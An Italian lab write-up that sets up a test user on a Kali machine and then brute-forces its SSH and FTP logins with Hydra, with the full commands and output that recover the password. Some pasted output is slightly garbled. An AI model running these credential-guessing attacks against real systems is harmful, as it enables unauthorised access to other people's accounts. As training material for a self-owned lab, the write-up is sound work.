

Nell'esercitazione di oggi vado a configurare un altro user sulla macchina kali, impostando come username "test_user" e come password "testpass".

```
test_user@kali: ~  
File Actions Edit View Help  
└─(kali@kali)-[~]  
$ adduser  
fatal: Only root may add a user or group to the system.  
  
└─(kali@kali)-[~]  
$ sudo su  
[sudo] password for kali:  
└─(root@kali)-[/home/kali]  
# adduser  
fatal: Only one or two names allowed.  
  
└─(root@kali)-[/home/kali]  
# adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []:  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...  
  
└─(root@kali)-[/home/kali]  
# sudo service ssh start
```

dopo aver creato lo user da attaccare attivo il servizio ssh con il comando "sudo service ssh start".

Per accedere all'altro user userò il comando "ssh test_user@192.168.178.70" quindi ssh nome utente@indirizzo_ip.

Se vogliamo modificare dei privilegi e altre opzioni dell'user lo possiamo fare sul file /etc/ssh/sshd_config.

Possiamo ora tornare all'user attaccante con lo stesso comando mostrato prima, così da poter vedere testare e quindi stabilire che c'è una connessione in SSH dell'user creato. Il comando da utilizzare è

```
└─(root@kali)-[~]  
# ssh test_user@192.168.178.70  
The authenticity of host '192.168.178.70 (192.168.178.70)' can't be established.  
ED25519 key fingerprint is SHA256:GXTu3xRYr4cptMk0mklrkjmYS49bzXCDLgBlfo/HVfw.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.178.70' (ED25519) to the list of known hosts.  
test_user@192.168.178.70's password:  
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
└─(test_user@kali)-[~]
```

Per effettuare l'attacco bruteforce su ssh con hydra eseguirò il seguente comando, dove -L serve la lista degli username -P per la lista delle password, poi l'indirizzo ip della macchina,

-t 4 per fare 4 task contemporaneamente, ssh è il servizio su cui stiamo facendo l'attacco e
-V per mostrarci live i tentativi dell'attacco.

```
(kali@kali)-[~/Desktop]
$ hydra -L user.txt -P pass.txt 192.168.178.70 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 04:50:25
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to ignore))
re
[DATA] max 4 tasks per 1 server, overall 4 tasks, 121 login tries (l:1/p:1)
[DATA] attacking ssh://192.168.178.70:22/
```

Quando avrà trovato username e password vedremo questo:

```
[ATTEMPT] target 192.168.178.70 - login "test_user" - pass "bibubabo" - 93 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test_user" - pass "cane" - 94 of 121 [child 0] (0/0)
^X@ss[ATTEMPT] target 192.168.178.70 - login "test_user" - pass "gatto" - 95 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test_user" - pass "123456789" - 96 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test_user" - pass "testpass" - 97 of 121 [child 3] (0/0)
[22][ssh] host: 192.168.178.70 login: test_user password: testpass
[ATTEMPT] target 192.168.178.70 - login "test" - pass "password" - 100 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test" - pass "pass" - 101 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test" - pass "pppppppp" - 102 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test" - pass "noh" - 103 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test" - pass "bibubabo" - 104 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test" - pass "ooooooo" - 111 of 121 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 04:50:25
```

Per fare questo attacco sul servizio ftp, basta installare il servizio con il comando “sudo apt-get install vsftpd” e attivarlo con “service vsftpd start”.

Quando andremo ad eseguire il comando brute force cambierà la sintassi in base al servizio che attacchiamo. In questo caso il comando è:

```
(root@kali)-[/home/kali/Desktop]
# hydra -L user.txt -P pass.txt ftp://192.168.178.70 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 05:01:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 121 login tries (l:11/p:11), ~8 tries per task
[DATA] attacking ftp://192.168.178.70:21/
```

e il risultato sarà come quello eseguito per il servizio ssh.

```
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "pass" - 112 of 121 [child 8] (0/0)
[21][ftp] host: 192.168.178.70 login: test_user password: testpass
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "pppppppp" - 113 of 121 [child 7] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "noh" - 114 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "bibubabo" - 115 of 121 [child 9] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "cane" - 116 of 121 [child 12] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "gatto" - 117 of 121 [child 5] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "123456789" - 118 of 121 [child 15] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "testpass" - 119 of 121 [child 10] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "tttttt" - 120 of 121 [child 11] (0/0)
[ATTEMPT] target 192.168.178.70 - login "test2" - pass "ooooooo" - 121 of 121 [child 13] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-17 05:01:40
```

da notare come nella riga dell'username e password trovate, all'inizio della stringa leggiamo tra parentesi quadre 21 per ftp e 22 per ssh che sono le porte dei servizi.